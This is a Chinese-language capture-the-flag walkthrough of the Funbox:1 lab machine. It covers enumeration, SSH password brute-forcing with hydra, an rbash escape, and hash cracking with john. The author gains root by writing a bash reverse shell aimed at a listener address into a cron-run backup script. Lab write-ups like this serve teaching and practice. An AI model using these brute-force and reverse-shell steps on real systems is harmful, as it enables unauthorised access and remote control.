vulnhub靶机wp系列之funbox:1
本文结构
- 🔍 信息收集(Enumeration)
-
🖳 主机发现(Host Discover)
-
👁 端口扫描(Port Scan)
-
🕵️ 服务探测(Service Detection)
-
- 🚪🚶 获取权限(Foothold)
-
💲 ssh获取shell(ssh get shell)
-
🏃 rbash逃逸(rbash escape)
-
-
🛡️ 权限提升(Privilege Escalation)
-
🐇 兔子洞(rabbit hole)
-
📖 推荐文章
🔍 信息收集(Enumeration)
🖳 主机发现(Host Discover)
我们使用netdiscover命令扫描kali的c段
netdiscover -r 192.168.61.0/24
-
-r
指定网段
发现目标机是192.168.61.7
👁 端口扫描(Port Scan)
我们使用nmap进行一个全扫描
nmap -p- 192.168.61.7 -sV
-
-p-
扫描全端口 (注:这会产生比较大的流量) -
-sV
探测端口服务
得到一个ftp,ssh,http还有一个类似mysql的服务
🕵️ 服务探测(Service Detection)
我们先从最简单的开始,http,访问目标的80端口。
发现被重定向到了一个未知的url,那我们修改hosts文件把这个url绑定到目标ip,然后重新访问
然后发现目标web的cms指纹是wp,那直接上专业工具
我们使用wpscan对目标网站进行扫描
wpscan -e vp,vt,u --url http://funbox.fritz.box/
-
-e vp,vt,u
指定使用主题漏洞扫描(vt),插件漏洞扫描(vp),用户扫描(u) -
--url
指定扫描目标
发现枚举出了俩个用户,可以去登录界面试试弱口令
🚪🚶 获取权限(Foothold)
💲 ssh获取shell(ssh get shell)
经过尝试,发现用户joe有弱口令12345,那我们可以联想到是否ftp和ssh也有弱口令? 直接上hydra(九头蛇)爆破试试,注:在真实渗透测试中,我们应该尽量减少暴力破解的次数,或者应当在收集到了足够的信息再去爆破
hydra -l joe -P top1000.txt -v 192.168.61.7 ssh -t 4
-
-l
指定用户名 -
-P
指定密码字典 -
-v
指定详细信息输出,将会输出爆破进度 -
ip + 服务名
-
-t
指定线程为4,在ssh爆破时,应使用hydra推荐的线程数4
接下来我们就可以使用弱口令直接ssh登录joe用户
🏃 rbash逃逸(rbash escape)
我们可以发现,获取的是一个rbash,这个时候我们就要进行rbash逃逸。 注:这里的pspy64文件是我之前打靶的时候就已经下载了的文件
逃逸方法有很多种,我这里就用python来逃逸
python3 -c 'import pty;pty.spawn("/bin/bash")'
然后我们先看看mbox是个什么东西(一般自己家目录下都会有点东西提示)
重点解读就是joe用户帮root用户写过一个脚本,还有joe用户将密码设成了12345
🛡️ 权限提升(Privilege Escalation)
然后我们就是找这个脚本,后经过一番寻找,我们最终在funny的家目录下发现了backup脚本,还有一个网站的打包文件
到了这,我们可以猜测这个就是joe用户写的脚本,脚本里面的内容是对/var/www/html目录进行打包。那就很明显了,和网站备份相关的计划任务。
为了验证我们的猜想,我们用pspy工具检测一下
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64
chmod +x pspy64
./pspy64 -d /home/funny
-
-d
指定要观察的目录 pspy(也称为"pspy64")是一个用于监视进程活动的工具,特别是在Linux环境中。它允许用户监视正在运行的进程,查看它们的活动和与文件系统的交互,以及与其他进程的通信。pspy是一个轻量级的工具,通常被用于安全审计和故障排除,也可以用于发现潜在的安全问题。
果然,是发现有一个root的计划任务和funny的计划任务,后面更是发现,root是5分钟执行一次,funny用户是2分钟执行一次
💀 反弹root shell(reverse root shell)
因为我们对backup有修改权限,我们直接在backup脚本中写入反弹shell的语句
bash -i >& /dev/tcp/192.168.61.126/1234 0>&1
-
bash -i
这部分启动Bash shell,并使用-i标志表示要以交互方式运行,这意味着它可以接收用户输入并显示输出
-
>& /dev/tcp/192.168.61.126/1234
这是一个重定向操作符,将Bash的标准输出和标准错误(1和2)都重定向到指定的IP地址和端口上的网络连接。具体来说,它将输出重定向到/dev/tcp/192.168.61.126/1234。 -
0>&1
这也是一个重定向操作符,将标准输入(0)重定向到与标准输出相同的地方,也就是之前重定向到网络连接的位置。
这个命令的作用是将Bash shell的输入和输出连接到IP地址192.168.61.126上的端口1234,这通常用于建立与另一台计算机的反向Shell连接,使远程主机可以控制和执行命令在被攻击的主机上 这是一个常见的bash反弹shell的语句,然后我们在kali开启nc监听
nc -lnvp 1234
-
-l
: 这是netcat的一个选项,用于指示netcat进入监听模式,即等待传入连接。 -
-n
: 这是另一个选项,用于指示netcat不要执行DNS解析,以便更快地处理连接。 -
-v
: 这是一个选项,用于启用详细的输出,通常用于调试目的。 -
-p
: 指定netcat监听的端口号。在这个例子中,它监听端口1234。
多次监听后也是成功拿到了root的shell
🐇 兔子洞(rabbit hole)
一开始我们在wpscan扫描出来的另外一个用户,admin,我们拿到joe的shell后可以去网站目录下看wp的配置文件,然后进入数据库查看用户名和密码
接着我们把这个给复制出来,用john去爆破这个hash值
john pass.txt --wordlist=/usr/share/wordlists/rockyou.txt
-
pass.txt
将要破解的hash值写入一个文本文件 -
--wordlist=
指定密码字典为kali共享目录下的rockyou字典
爆破出来后我们可以看到是iubire
,拿去登录看看
成功登录后我们可以试着看能不能用wp的漏洞去getshell,但是很显然在这里应该是拿不到root权限的,最多拿一个普通shell,或者说普通shell都拿不到 具体咋样还有待后续的尝试 待续
📖 推荐文章
国外大佬关于funbox:1的wp:funbox:1
rbash逃逸的方法:rbash逃逸
funbox:1靶机下载地址:下载
更多文章可前往我的博客rightevil.github.io